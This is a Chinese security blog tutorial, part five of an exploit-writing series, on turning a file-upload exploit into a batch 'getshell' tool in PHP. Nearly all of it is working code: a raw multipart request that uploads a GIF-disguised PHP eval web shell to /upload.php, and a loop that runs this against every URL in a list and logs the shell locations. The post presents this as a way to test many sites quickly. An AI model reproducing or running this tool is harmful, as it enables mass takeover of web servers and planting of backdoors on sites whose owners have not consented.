WEB安全第七章exp编写五


Sep 27 2018

WEB安全第七章exp编写五

首页 » 原创作品 » WEB安全第七章exp编写五   

WEB安全第七章exp编写五 批量GETSHELL编写

第一篇 简单的exp编写

第二篇 exp编写二 POST注入exp编写
第三篇 getshell exp的编写

第四篇 存在权限限制exp编写


通过以上exp学习,基本的exp编写,应该问题不大,接下来就学习的批量exp编写。

批量exp 有什么用,例如某个大型cms【cms内容管理系统】如dedecms、WordPress、phpcms 突然出了漏洞。各大安全src发布预警信息。

经过安全研究员摸索,poc很快地发布到网上,提供安全人员检测。 网站管理员 和运维dog 也开始 处理这次事件。

你的企业或任务上很多这样的网站,并不知道是否存在漏洞,总不能每个用手工去测试。

这样就要提高效率,进行批量测试。

php学习

以前编写的exp脚本 都需要命令行运行 exp  如: php.exe exp.php  这样感觉不够人性化,也不方便。

想要在php.exe exp.php filename.txt   filename.txt 里面是你要检测的网址。

如何做到这点。 php提供了一个变量 $argv  当这个变量仅在 register_argc_argv 打开时可用。 注参开 http://php.net/manual/zh/reserved.variables.argv.php

<?php var_dump($argv);?>  终端下运行 php argv.php url.txt


19.jpg


通过这个命令可以看出 这里有两个数组 0默认是脚本名 1 是txt文件名。

漏洞就拿 暗月靶机系统 上传漏洞测试那个exp



<?php

function http_send($host, $packet){

        $sock = fsockopen($host, 80);
        
        if(!$sock){
                print "\n[-] No response from {$host}:80 Trying again...";
                $sock = fsockopen($host, 80);
        }
        
        fputs($sock, $packet);
        
        while (!feof($sock)) {

                $resp .= fread($sock, 1024);
        }
        
        fclose($sock);
        return $resp;

}



function data($host,$filename){
        
        $payload  = "-----------------------------86531354118821\r\n";
        $payload .= "Content-Disposition: form-data; name="file"; filename="{$filename}"\r\n";
        $payload .= "Content-Type:  image/jpeg\r\n\r\n";
        $payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\r\n";
        $payload .= "-----------------------------86531354118821\r\n";
        $payload .= "Content-Disposition: form-data; name="sub"";
        $payload .="\r\n\r\n";
        $payload .="12132\r\n";
        $payload .="-----------------------------86531354118821--\r\n";
        $packet  = "POST /upload.php HTTP/1.1\r\n";
        $packet .= "Host: {$host}\r\n";
        $packet .= "Content-Type: multipart/form-data; boundary=---------------------------86531354118821\r\n";
        $packet .= "Content-Length: ".strlen($payload)."\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $packet .= $payload;
        
        return $packet;

}


$filename  = "moon.php";
$host = "target_sys.com";
$html_str =http_send($host,data($host,$filename));

preg_match("/Stored in: (.*?)</", $html_str,$m);

if ($m[1]){
        echo "http://".$host."/".$m[1];
}else{
        echo "flase";
}



这个exp 现在进行修改。修改的思路是 读取文件,将里的url遍历测试,把结果保存起来。



<?php
function http_send($host, $packet){

        $sock = fsockopen($host, 80);
        
        if(!$sock){
                print "\n[-] No response from {$host}:80 Trying again...";
                $sock = fsockopen($host, 80);
        }
        
        fputs($sock, $packet);
        
        while (!feof($sock)) {

                $resp .= fread($sock, 1024);
        }
        
        fclose($sock);
        return $resp;

}



function data($host,$filename){
        
        $payload  = "-----------------------------86531354118821\r\n";
        $payload .= "Content-Disposition: form-data; name="file"; filename="{$filename}"\r\n";
        $payload .= "Content-Type:  image/jpeg\r\n\r\n";
        $payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\r\n";
        $payload .= "-----------------------------86531354118821\r\n";
        $payload .= "Content-Disposition: form-data; name="sub"";
        $payload .="\r\n\r\n";
        $payload .="12132\r\n";
        $payload .="-----------------------------86531354118821--\r\n";
        $packet  = "POST /upload.php HTTP/1.1\r\n";
        $packet .= "Host: {$host}\r\n";
        $packet .= "Content-Type: multipart/form-data; boundary=---------------------------86531354118821\r\n";
        $packet .= "Content-Length: ".strlen($payload)."\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $packet .= $payload;
        
        return $packet;

}



function w($fileName,$data){
        fwrite(fopen($fileName,"a+"),$data."\r\n");

}


function exploit($host){
        $filename  = "moon.php";
        $resulit='';
        $html_str =http_send($host,data($host,$filename));
        preg_match("/Stored in: (.*?)</", $html_str,$m);
        if ($m[1]){
                $resulit="http://".$host."/".$m[1];
        }
        return $resulit;

}


if(count($argv)<3){
        print $argv[0]." url.txt save.txt";
        exit;
}


$url_txt = $argv[1];

$sava_file = $argv[2];

$myurl = file($url_txt);


foreach ($myurl as $value){
                echo "Testing {$value}";
                $v = substr($value,strpos($value,"//")+2);
                $v = trim(str_replace("/","",$v));
                $result = exploit($v);
                if($result){
                        
                        w($sava_file,$result);
                }
                sleep(1);
}
下载 exp4.rar 20.jpg 测试结果 21.jpg
foreach ($myurl as $value){
                echo "Testing {$value}";
                $v = substr($value,strpos($value,"//")+2);
                $v = trim(str_replace("/","",$v));
                $result = exploit($v);
                if($result){
                        
                        w($sava_file,$result);
                }
                sleep(1);
}


个部分就是 遍历检测url的代码。 将结果保存在  $sava_file = save.txt





如果您喜欢本博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容:

正文部分到此结束

文章标签: exp编写

版权声明:若无特殊注明,本文皆为( mOon )原创,转载请保留文章出处。

也许喜欢: «暗月靶机测试系统测试版 | WEB安全第七章exp编写四»

你肿么看?

你还可以输入 250/250 个字

 微笑 大笑 拽 大哭 亲亲 流汗 喷血 奸笑 囧 不爽 晕 示爱 害羞 吃惊 惊叹 爱你 吓死了 呵呵

评论信息框

这篇文章还没有收到评论,赶紧来抢沙发吧~